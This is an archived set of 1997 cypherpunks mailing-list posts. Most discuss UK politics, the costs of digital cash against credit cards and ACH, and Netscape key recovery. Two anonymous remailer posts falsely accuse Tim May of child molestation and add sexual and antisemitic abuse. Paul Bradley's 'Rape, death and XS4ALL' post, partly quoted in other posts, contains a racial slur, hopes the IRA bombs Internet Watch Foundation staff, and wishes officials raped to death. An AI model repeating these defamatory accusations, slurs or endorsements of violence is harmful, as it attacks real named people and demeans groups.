Netscape Navigator and Netscape Enterprise are trademarks of Netscape
Communications Corporation. Microsoft Internet Explorer and Microsoft
Internet Information Server are trademarks of Microsoft Corporation.
Stronghold and SafePassage are trademarks of C2Net Software, Inc.

Portions of Stronghold were developed by the Apache Group, and were
taken with permission from the Apache Server http://www.apache.org/.
Stronghold also includes software developed by Eric Young
(eay@cryptsoft.com).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Mon, 5 May 1997 01:20:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Rape, death and XS4ALL
In-Reply-To: <Pine.LNX.3.91.970504164841.304I-100000@fatmans.demon.co.uk>
Message-ID: <199705041702.KAA18066@netcom20.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley writes:

> Just to give you some overview of the fuck ups we now have governing the 
> UK I present a list of proposals Tony Blair and his motley crew have made in 
> the last year:

> Mandatory minimum sentencing for repeat offenders regardless of the 
> opinion of the judge.

> State set curfews for all children under 16 regardless of their parents 
> wishes.

> Parents to be held responsible for the crimes of their children if the 
> children repeat offend.

> Several vague allusions towards internet censorship schemes or mandatory 
> web page rating using PICS.

> Minimum wage for full time employees, regardless of the empolyees skills 
> or the wishes of the employer.

> Further action to prevent "bias" and "discrimination" in the workplace, 
> eg. "Employ this unskilled [racially insensitive term] and we`ll lower 
> your corporation tax 2%"

> Further plans for yet more CCTV cameras in public places.

> Mandatory ID cards for citizens (This one sounds like a joke, believe me 
> it is not).

> A ban on all handguns even when registered (currently all pistols above 
> .22 are banned and all guns have to be registered in a process whereby if 
> the applicant for a certificate has any history of political dissention 
> or crime (eg. Smoking a joint, the ultimate sin against society) the 
> certificate will be refused.

> Yet more spending on welfare to support the pieces of shit in the gutter 
> I pass every day.

Blair has learned his Clinton lessons well.  When I see the evolution
of so-called multi-party systems where all candidates will fuck with
your rights equally well, it makes me wax fondly back to the old Soviet
Union.  Although there was only one party, the citizens were at least
able to vote "None of the Above."

I wonder how many seats would be filled in our government if the last
step in the electoral process was a ratification of a single candidate
by the voters.  

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Mon, 5 May 1997 02:41:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bypassing the Digicash Patents
Message-ID: <199705041819.LAA00411@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


It is hard to understand why a system where it is impossible to track
payments (Chaumian anonymity) is cheaper than one where it is possible
to do so, but we choose not to.  If avoiding tracking payments is cheaper
than tracking them, why wouldn't participants just not bother to track
them even when they theoretically could?

Granted, there are situations where taking away someone's options can make
him better off.  The classic example would be the Prisoner's Dilemma, which
I will assume people here are familiar with.  Given the choice to cooperate
or defect, standard analysis predicts that both players will defect.  Remove
that option, and they will be forced to cooperate, leading to a better
("lower cost") outcome for both.  The structure of the game forced them to
take advantage of an option which has the net result of costing them more.

The question is whether this kind of reasoning would apply financial
transactions.  Is it really true that taking away the option of tracking
transactions is going to save money overall?  Sure, not keeping records
is a priori going to be cheaper than keeping them, but the question is
how much the loss of those records is going to hurt you.

Presumably records are kept to protect against various risks.  Without
that protection, you need other means to control the risk.  But if those
means exist and they are cheaper than record-keeping, then again even
without anonymity it should be cheaper to use those methods in place of
the records.

I think we would need to see a more detailed explanation of exactly why
it is that people can't save money today by avoiding keeping records,
when they could do so if it were impossible to keep records.

(One possible explanation is that it would be a regulatory effect.
People are forced by the government to keep records, to their detriment,
that they would prefer not to keep.  With anonymous bearer certificates
it would not be possible to keep the records so people might hope to
escape the regulations.  However the problem with this reasoning is that
the same forces which require the record-keeping would be likely to ban
the use of instruments which prevent keeping records.)

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 5 May 1997 02:53:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: digital cc transactions, digital checks vs real digital cash
In-Reply-To: <v03007808af9094d14286@[207.94.249.180]>
Message-ID: <v03007800af92941551bd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:08 AM -0800 5/3/97, Robert Hettinga wrote:
>At 3:10 am -0400 on 5/3/97, Bill Frantz wrote:

>> Carlsen Subaru in Palo Alto has signs in their sales offices notifying
>> people that their agreement with their bank prevents them from taking
>> credit cards in payment for cars.
>
>Hmmm. The operative concept in my paragraph was "peer-to-peer". I should
>have put "personally" in the last sentence, in between "you" and "sold",
>and it would have been much clearer.
>
>By the way, back when I was pond scum in Morgan Stanley's cage in Chicago,
>American Express Gold Cards had just come out. About the first month they
>were out, a commodities trader showed up at a local Rolls dealership and
>offered to pay for a brand new Corniche with one.
>
>The sales manager smiled, said "Yes sir", went to the phone, called Amex,
>and took the card.
>
>Probably apocryphal, but, hey, it's a great story.

I'm sure things like this happen every day.

As I mentioned just several days ago, I bought a Ford Explorer a few years
ago and put it on my VISA card. A Corniche costs a few times more, but the
principle is the same.

How large a purchase a user can put on his card depends on two things: his
credit line (and/or issuer policy) and of course the policies of the other
party. For some, their limit is $500, maybe even less. For others, like
"Gold" or "Platinum" or "Plutonium" card holders, the numbers are much
higher.

In my case, I can spend up to my maximum margin account borrowing level,
currently at about 50% of the value of my margin account (my stocks,
investments, etc.).

So, I could use my VISA card to buy a geodesic dome in this geodesic
economy. Not that I'd want to.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 5 May 1997 04:41:41 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Bypassing the Digicash Patents
Message-ID: <v02140b01af925860a90b@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Bob Hettinga wrote:
>I strongly beleive that you can easily knock three, maybe four, decimal
>places off the cost of any transaction you can care to mention just by
>using strong financial cryptography and anonymous digital bearer
>certificates on a ubiquitous geodesic network.

Although I stongly share your overall beliefs in the superiority of digital
bearer certificates (DBC), I am much less certain about the intrinsic
financial cost differentials.

Let's first consider credit cards (CCs). Consumers using CCs, if they
choose their bank/agent carefully and settle their monthly statements in
full and promptly, pay nothing (directly) for the priviledge of using the
cards.  One can argue that merchants build the cost of their CC transaction
clearance costs into their price structure and therefore every patron,
whether using cash or CC, pay for the costs of CC usage (few merchants
offer cash discounts).  Most walk-in retail merchants, in good standing,
pay about 2% in discount (fees).  On-line and mail order merchants pay
about 3% as do those with a higher rate of chargebacks and/or in grey
businesses (e.g., on-line gaming and adult entertainment).  These fees
represent the costs of operating the CC clearing system (MC, VISA, AMEX,
etc.) the bank's overhead and profit.

Now let's look at Automatic Clearing House (ACH). ACH is a Federal Reserve
service offered by 18,000 financial institutions to 40,000 corporations and
generating 2.5 billion transaction per year.  It is used by business to pay
employees (automatic payroll deposit), automatic debt of consumer checking
accounts (periodic payments) and business-to-business transactions (a
primitive EDI). Costs of the service are born entirely by the business and
rates vary considerably, depending upon volume and depth of business
relationship with the bank or service company (e.g., ADP) and how much of
the ACH pre-process work is automated or performed by the business.
Charges are generally below $0.25 per transaction.

The amount of back office processing required for ACH is not inherently
different than for CCs.  However, there is a significant difference in
amount of marketing and distribution costs.  It is not unusual for a bank
to pay $50-60 to acquire a new CC customer.  Compared to the massive CC
consumer branding campaigns, there's not much marketing overhead in ACH.
Whereas ACH is highly automated and all report generation is already
included in the checking account fees (both business and consumer), CCs are
often an additional and costly overhead.  This is one reason the larger
banks have been moving to integrate their consumer relationships into a
single monthly statement (e.g., Citibank's "CitiOne").  When clients are
convinced that electronic statements over the Net are acceptable this
overhead will shrink considerably for both services, but will not be
anywhere near zero.  Will DBC systems will have lower marketing costs than
CC or ACH serving similar customer bases and applications?  I think not.
Indeed, the case could be made that in order for DBC to gain widespread
acceptance over ACH or CC marketing expeditures might need to be
consideable.

It is not clear that the back office costs of running a mint are any
cheaper than a book-entry system (e.g., control and auditing requirements
to meet Generally Accepted Accounting Principles and establish/maintain
trust) and you still need the book-entry system to occassionally transfer
value; to the extent that digital bearer certificates become accepted as
legal tender costs should decline, but the regulatory issues increase.
However, the ACH and CC system's prices reflect the substantial Fed and CC
backbone cost and profit to run their private networks, and it is here that
costs for on-line digital bearer certificate systems will have and edge for
some time.

When one combines the transactional economic advantages of DBC: no customer
accounts, statement generation, little or no need for dispute resolution
and the economies of using the Net for settlement, with the still
considerable marketing costs, the likely differential between DBC and
CC/ACH is closer to one order of magnitude at best.  This is still
considerable, however, and if properly branded and marketed could
significantly displace current competition, for lower value transactions.
The overhead of CC discounts is keenly watched by merchants.  If a trusted
DBC issuer/agent offered 1.0% fees (especially to on-line merchants) it
would get noticed quickly.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        "I know not what instruments others may use,
         but as for me, give me Ecache or give me debt."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 4 May 1997 20:02:34 +0800
To: cypherpunks@toad.com
Subject: Re: Firewalls
Message-ID: <199705041139.NAA19361@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy Mayo the self-admitted child molester 
possesses a rudimentary dick less than one 
inch long, half the size of his mother's 
clitoris, that barely makes a fistful. Thereby 
hangs the root of this Jew-hating sissy's sick 
fixation on little boys and Usenet forgeries.

         \|||/
         (o o)
     -ooO-(_)-Ooo- Timmy Mayo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 5 May 1997 05:13:47 +0800
To: Hal Finney <cypherpunks@cyberpass.net
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: <v03007801af92b4de05b2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:19 AM -0800 5/4/97, Hal Finney wrote:
>It is hard to understand why a system where it is impossible to track
>payments (Chaumian anonymity) is cheaper than one where it is possible
>to do so, but we choose not to.  If avoiding tracking payments is cheaper
>than tracking them, why wouldn't participants just not bother to track
>them even when they theoretically could?

I'll give a simple example, related to cash vs. other payment mechanism in
ordinary store transactions. The key is that traceable, identifiable
payments offer more opportunities for repudiation of debts, for increased
paperwork to handle such disputes, etc.

Concert tickets, at least here in California at BASS and similar outlets,
is a "cash and carry" proposition...no credit cards accepted. Why?
According to the clerks I've talked to over the years, cash and carry means
any cancellations of concerts forces the purchaser to arrange for a refund
either directly through the concert promoter or by arrangement at the
ticket office.

With repudiable (repudiatable?) payment systems, those involving promises
to pay or credit arrangements, one can "cancel a check" or notify VISA that
a charge is being disputed. These hassles ripple back through the system.

Thus, an "anonymous" (more precisely, a nonrepudiatable) transfer system is
cheaper for the seller.

(And such cash systems are almost certainly cheaper for merchants for other
types of transactions. Getting the money immediately has to be at least as
cheap as having checks, credit cards, tabs, etc. Obviously.)

Chaumian anonymity acts like this cash and carry system.

Also, from the merchant's point of view, having a system "where it is possible
to do so, but we choose not to" opens up the possibility of sting
operations, with a traceable records. I imagine most drug sellers would
prefer a system where no traceability can ever be turned on.

Of course the sellers and buyers may have differing judgments on the costs
and values of anonymity, depending on various factors.

--Tim May

Having said all this, I don't buy Bob Hettinga's "leap of faith" that
anonymous bearer instruments (or whatever he calls his geodesic things)
will automatically and obviously be cheaper than less anonymous
alternatives. For some things they will be, for others things they won't.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 5 May 1997 03:45:20 +0800
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Rape, death and XS4ALL
In-Reply-To: <199705041702.KAA18066@netcom20.netcom.com>
Message-ID: <199705041925.OAA30688@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mike Duvos wrote:
> Paul Bradley writes:
> > A ban on all handguns even when registered (currently all pistols above 
> > .22 are banned and all guns have to be registered in a process whereby if 
> > the applicant for a certificate has any history of political dissention 
> > or crime (eg. Smoking a joint, the ultimate sin against society) the 
> > certificate will be refused.

What would be an example of such political dissention?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 5 May 1997 05:19:19 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Firewalls
In-Reply-To: <199705041139.NAA19361@basement.replay.com>
Message-ID: <Pine.A41.3.95.970504150223.40418B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 4 May 1997, Anonymous wrote:

Vulis does you wife no you write this?

> Timmy Mayo the self-admitted child molester 
> possesses a rudimentary dick less than one 
> inch long, half the size of his mother's 
> clitoris, that barely makes a fistful. Thereby 
> hangs the root of this Jew-hating sissy's sick 
> fixation on little boys and Usenet forgeries.
> 
>          \|||/
>          (o o)
>      -ooO-(_)-Ooo- Timmy Mayo
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 5 May 1997 07:41:45 +0800
To: cypherpunks@cyberpass.net
Subject: Ebonics: The Finale
Message-ID: <v02140b01af92c9f91f41@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


Oakland school officials drop ebonics references

Associated Press

OAKLAND, Calif.-The Oakland public schools African American Task Force has
dropped all references to ebonies in a final report about improving
education for black students.

The district caused a national controversy four months ago when it
suggested that ebonies, or black English, was a second language that is
"genetically based."

The final report, obtained by The Oakland Tribune, still emphasizes
improving black students' language skills, but it makes no reference to
ebonies.

There is also no reference to black students speaking a separate language.
And provisions suggesting the district pursue federal bilingual funding for
black students, as it does for children who speak Spanish or Chinese at
home, have been deleted.

The U S. Department of Education quickly dismissed the latter idea when it
was raised in December.

Instead, the 17-page report calls for better language and reading programs,
additional tests to measure the language skills of students who speak black
English, and expansion of the Standard English Proficiency program.

The task force says the district should aggressively recruit black teachers
and offer help to black teachers who have not passed the state teaching
exam.

The task force also recommends hiring a coordinator specifically to improve
the education of black students and a budget of nearly $2 million over five
years to achieve the goals.

The task force's work is an attempt to improve the dismal record of
Oakland's black students. Black students, who represent 53 percent of the
district, make up 71 percent of special education classes, 37 percent of
gifted classes and 80 percent of suspensions.

--end

PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK)
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "Without censorship, things can get terribly confused in the
       public mind."
       -General William Westmoreland






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 5 May 1997 07:53:31 +0800
To: cypherpunks@toad.com
Subject: [STEGO] One-time pads
Message-ID: <199705042340.QAA09356@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C. Mayonnaise sexually molests little children, farm 
animals, and inanimate objects.

     < >            < >
      V    )_.._(    V Timmy C. Mayonnaise
      \\   <____>   //
        ~ <______> ~      >
        /~\______/~\     //
        /~\_____/~\     /_\
        /~\____/~\     /_\
         /~\___/\~\  _/_\/
            \___/\__/__\/
              \___/__\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 5 May 1997 00:12:55 +0800
To: cypherpunks@cyberpass.net
Subject: Rape, death and XS4ALL
Message-ID: <Pine.LNX.3.91.970504164841.304I-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > The only "nice people" are dangerous anarchists bent on destroying
> > governments and buggering poloticians to death. (last part a personal
> > preference of course, the author is totally straight but would
> > nonetheless be distinctly amused to see any government official
> > butt-raped to death)
> 
> I, personally, would have to use a dildo.  Even if I were queer,
> I wouldn't get it up for a politician or a Cabal supporter.

This I can fully understand.

> > > "The Internet Watch Foundation forces the provider to remove the
> > > illegal content," he added. "This is a fundamentally different approach
> > > to responsibilities on the Internet. We think the author of the
> > > information is responsible for his own actions, not the provider."
> 
> I hope the IRA blows up these Internet Watch motherfuckers.

If I don`t get there first...

> Is this Blair guy any saner than the tory bastards?

Calling any democratic polotician, especially in the UK, sane, is a big 
mistake. However, if we may rephrase and ask if he is any less deranged 
we can safely answer "no".

I heard a wonderful comment on the cryptography@c2 list earlier that Jack 
Straw (the new Labour home secretary, who is in charge of law and order) 
may be defined as the only person for whom anal sex with michael howard 
(his predecessor) counts as masturbation. They both even look deranged 
(Michael Howard looked rather like a serial killer and jack straw looks 
like a church reject). I don`t know about crypto policy, Labour are 
supposed to be opposed to mandatory GAK but this is of course a small 
issue when put in perspective. The new labour administration are a group 
of anti-drugs, anti-"crime" misfits who I hope go the same way as the 
previous leader of the labour party, John Smith, who died of a heart attack.

Just to give you some overview of the fuck ups we now have governing the 
UK I present a list of proposals Tony Blair and his motley crew have made in 
the last year:

Mandatory minimum sentencing for repeat offenders regardless of the 
opinion of the judge.

State set curfews for all children under 16 regardless of their parents 
wishes.

Parents to be held responsible for the crimes of their children if the 
children repeat offend.

Several vague allusions towards internet censorship schemes or mandatory 
web page rating using PICS.

Minimum wage for full time employees, regardless of the empolyees skills 
or the wishes of the employer.

Further action to prevent "bias" and "discrimination" in the workplace, 
eg. "Employ this unskilled bone idle coon and we`ll lower your 
corporation tax 2%"

Further plans for yet more CCTV cameras in public places.

Mandatory ID cards for citizens (This one sounds like a joke, believe me 
it is not).

A ban on all handguns even when registered (currently all pistols above 
.22 are banned and all guns have to be registered in a process whereby if 
the applicant for a certificate has any history of political dissention 
or crime (eg. Smoking a joint, the ultimate sin against society) the 
certificate will be refused.

Yet more spending on welfare to support the pieces of shit in the gutter 
I pass every day.



> > And if he chooses not to remove the content you happen to find offensive?
> > If you truly believed in the rights of the author and publisher of the
> > information you would think about it before sending in your own
> > particular brand of thugs to "crush the mutiny".
> 
> Perhaps we should further expose XS4ALL's hypocricy by renting from the
> web space and putting up some pages they won't like.

I think this is an excellent idea, I`ll call or mail them in a few days 
to find out their pricing structure.


> > > Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to
> > > comply, as it did a few weeks ago when it shut down a customer's home
> > > page called Neuroroom, which sold marijuana and other soft drugs in
> > > Holland and abroad.
> >
> > Sometimes one really wonders why we bother to set up mirrors to allow
> > freedom of information to users, when the owners of these servers,
> > supposedly in favour of free speech, do not even have the strength of
> > character or conviction to decide for themselves what they will allow on
> > their servers rather than bending over for the long cock of the law...
> 
> The ISP is not a court to decide that a web page offering MJ for
> sale is "illegal".

Absolutely, besides which, even though I believe in the right of people 
to be as bigotted and statist as they see fit, there are only so many 
causes we can support and coming in on the side of XS4ALL knowing their 
record seems ill advised to me. If they truly deserved our support they 
would retain the pages whether they were legal or not.

> > > "Basically any project we like gets free resources from XS4ALL,"
> > > Rodriquez commented.
> >
> > And anyone who guarantees to publicly lick the boots of the benevolent
> > owners in thanks for their support gets as much free space as they like?
> >
> > Of course I believe in the right to free expression of anyone and if
> > these thugs choose not to allow material they don`t like on their servers
> > they have every right to remove it. I just don`t see that setting up
> > mirrors to defeat blocks on sites that refuse to carry certain content is
> > of any value in the fight for free speech. Sure, create a mirror of
> > Radikal, but giving any credit or attribution to XS4ALL seems to be a
> > poor choice.
> 
> My understanding is that Radikal is a harmless, toothless liberal rag
> that the Germans had no grounds for censoring in the first place.
> Mirroring it is no big deal. How about mirroring the MJ page that
> the bastards at XS4ALL censored?

I actually went to the page once, nearly brought some bud but as I recall 
they didn`t have an SSL link so I chose not to transmit my CCN.

I don`t have a copy, but if XS4ALL have any balls at all they will send 
us a copy. I`ll get onto them about this later.

> Actually, I don't think mirroring is a good technology either.
> The "eternal server" posted a few days ago seems VERY VERY promising,
> I'm very exited about this technology - many many thanks.

No, it isn`t really but was, for all intents and purposes, the best we 
had. I haven`t yet seen the eternal server idea but I`ll trawl the 
archives for it.


Paul "Can`t really be bothered to re-do his .sig file yet" Bradley





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 5 May 1997 10:54:55 +0800
To: Hal Finney <hal@rain.org>
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: <3.0.1.32.19970504183109.02752718@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 11:19 AM 5/4/97 -0700, Hal Finney wrote:

>Presumably records are kept to protect against various risks.  Without
>that protection, you need other means to control the risk.  But if those
>means exist and they are cheaper than record-keeping, then again even
>without anonymity it should be cheaper to use those methods in place of
>the records.
>
>I think we would need to see a more detailed explanation of exactly why
>it is that people can't save money today by avoiding keeping records,
>when they could do so if it were impossible to keep records.

I think what's important here is that the risks which are controlled/reduced
by keeping extra information are tied to the payment method(s) selected - for
example, most merchants try to get location/contact information when they
take a check, because there's some risk that the check will be returned
(sometimes in as long as 2-3 weeks) after the customer and the merchandise is
long gone. If checks cleared instantly, this wouldn't be necessary - and I
think merchants would forego collecting this information (they do now, for
physical cash purchases) because collecting it costs extra employee time,
storing/indexing it takes space/time, it annoys customers, and it leads to
some lost sales (where otherwise qualified customers are rejected because
their [lack of] credit/payment history makes them look like a bad risk).

The situation is similar for credit card purchases - the merchant doesn't
need to worry about tracking you down (because they'll get paid anyway, once
the transaction's been approved), but they do need to comply with the
requirements of their bank and the card issuer .. which include, if I
remember correctly, retaining the customer's signature (or notes of phone
authorization) for at least 60 days following the transaction. Big retailers
spend an enormous amount of time/energy/money keeping track of millions of
little slips of paper with people's signatures on them, and now they're
moving to expensive/complex/scary to consumers digital signature capture
systems.

Neither of these databases/filing systems is necessary for cash transactions,
and I can't think of a merchant who's tried to make me comply with them while
making a cash purchase. I don't think merchants are in a special hurry to
keep more information which isn't really interesting to them, anyway. 

So why do merchants take checks and credit cards, if they impose extra costs?
Because physical cash can be more expensive. Physical cash is difficult
because it (1) there's a risk of loss or theft/robbery, (2) keeping change on
hand is difficult/annoying, (3) it doesn't easily integrate with
accounting/inventory systems, (4) it's difficult to deal with in bulk. For
the most part, digital cash doesn't have these problems, but it doesn't have
the risk associated with repudiable payment methods (like checks and credit
cards), so it's not necessary to keep extra information to offset or reduce
that extra risk. 

So that's why digital cash wins, or ought to, if it's deployed before we're
all part of the Borg and privacy is irrelevant. 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBM204O/37pMWUJFlhAQHUqwf9Ev3V5L42A674u6C5K0KJDwoxGqmjN8es
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Z9C+Bgfv0yGkTQ+uiBTdEgW+npTtRUGZcLBHEinCFqQuTt7fTKTq7x1IJL2NsBwP
P6zuMNzfnUUVs4kc426xjhVoH+E3wBMkaxLOPZjesnKw+dfWnlxgOD4c78/WtkLf
Gb3MwNzgH+NIpjBjdqVsYwBqldBBW7EQaD035sxj8gCLbNd0w7ej2ZWLEaIzxD96
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=EJFn
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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 5 May 1997 21:06:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: digital cc transactions, digital checks vs real digital cash
In-Reply-To: <v0302090aaf913bf8023e@[139.167.130.246]>
Message-ID: <v0302092daf92c7fe2eb2@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:37 pm -0400 on 5/4/97, Tim May wrote:


> So, I could use my VISA card to buy a geodesic dome in this geodesic
> economy. Not that I'd want to.

No you couldn't. If you wanted to. :-).

In a geodesic economy, things will settle for bearer cash, unless you
borrow money to pay for them, and even then the loan will be a bearer
certificate loan, and not a book-entry loan like a VISA card is.

Ignoring for the time being that you're using a floatless "loan" when you
buy something with a VISA card...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Mon, 5 May 1997 17:14:14 +0800
To: sameer <sameer@c2.net>
Subject: Re: Full Strength Stronghold 2.0 Released Worldwide
In-Reply-To: <199705041637.JAA10872@gabber.c2.net>
Message-ID: <336D524B.167E@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain


sameer wrote:
> 
> In a recent announcement, Netscape Communications announced plans to
> include government back doors in their products. "By implementing this
> so-called 'key recovery', Netscape is getting a small increase in key
> length in exchange for putting your keys in the hands of the
> government," said Parekh. "This the same government that hired Aldrich
> Ames, the same goverment that has IRS employees surfing taxpayer
> databases at will. What do you think is going to happen to your keys?"

This is utter crap, and I'm sure you know it.  All we're going to do is
provide an OPTIONAL (and I mean really optional, not the way the feds
use it) way for administrators to recover private keys.  This is not
GAK.  I will never work on a product that includes GAK.

Oh, but I guess saying that Netscape is responding to customer
requirements by including support for corporate key recovery wouldn't
make such good press release spam.

-- 
You should only break rules of style if you can    | Tom Weinstein
coherently explain what you gain by so doing.      | tomw@netscape.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 5 May 1997 10:10:17 +0800
To: cypherpunks@toad.com
Subject: Re: Full Strength Stronghold 2.0 Released Worldwide
In-Reply-To: <199705041637.JAA10872@gabber.c2.net>
Message-ID: <ZuJ86D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


sameer <sameer@c2.net> writes:

> For Release May 5, 1997
> C2Net Software: Douglas Barnes +1 510 986 8770
> UK Web: Dave Williams +44 113 222 0046
>
> 	   Full-Strength Stronghold 2.0 Released Worldwide
>      C2Net President Sameer Parekh Rejects Weak Keys, Back Doors
>
> Oakland, CA - C2Net Software, Inc. annouced today the worldwide
> availability of Stronghold 2.0, a major upgrade to their secure web
> server based on Apache. With this release, Stronghold has added more
> functionality than ever, including uncompromised security, web-based
> configuration, and new protocol support.

Remember: if you comment on the fact that one can't examine this
product's source code for security holes, you'll get threatening
letters from C2Net's lawyers: Helena Kobrin, Cantor, & Siegel.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Dilbert Trivia Game <dogbertmailer@yoyo.com>
Date: Mon, 5 May 1997 10:23:48 +0800
To: cypherpunks@algebra.com
Subject: Thanks for signing up!
Message-ID: <9705050156.AA188125@gomez.yoyo.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi from Yoyodyne!

This message is to let you know that you're signed
up for The Dilbert Trivia Game.

Welcome!

You'll get questions e-mailed to you on Tuesdays, your
answers are due back by 11 p.m. Eastern Time on Sundays, and
you'll get your scoring messages on Mondays. It's that
simple.

When your questions come, you'll be asked to send your
answers to dogbert@yoyo.com in this format:

* Make sure your Player ID -- which looks like this
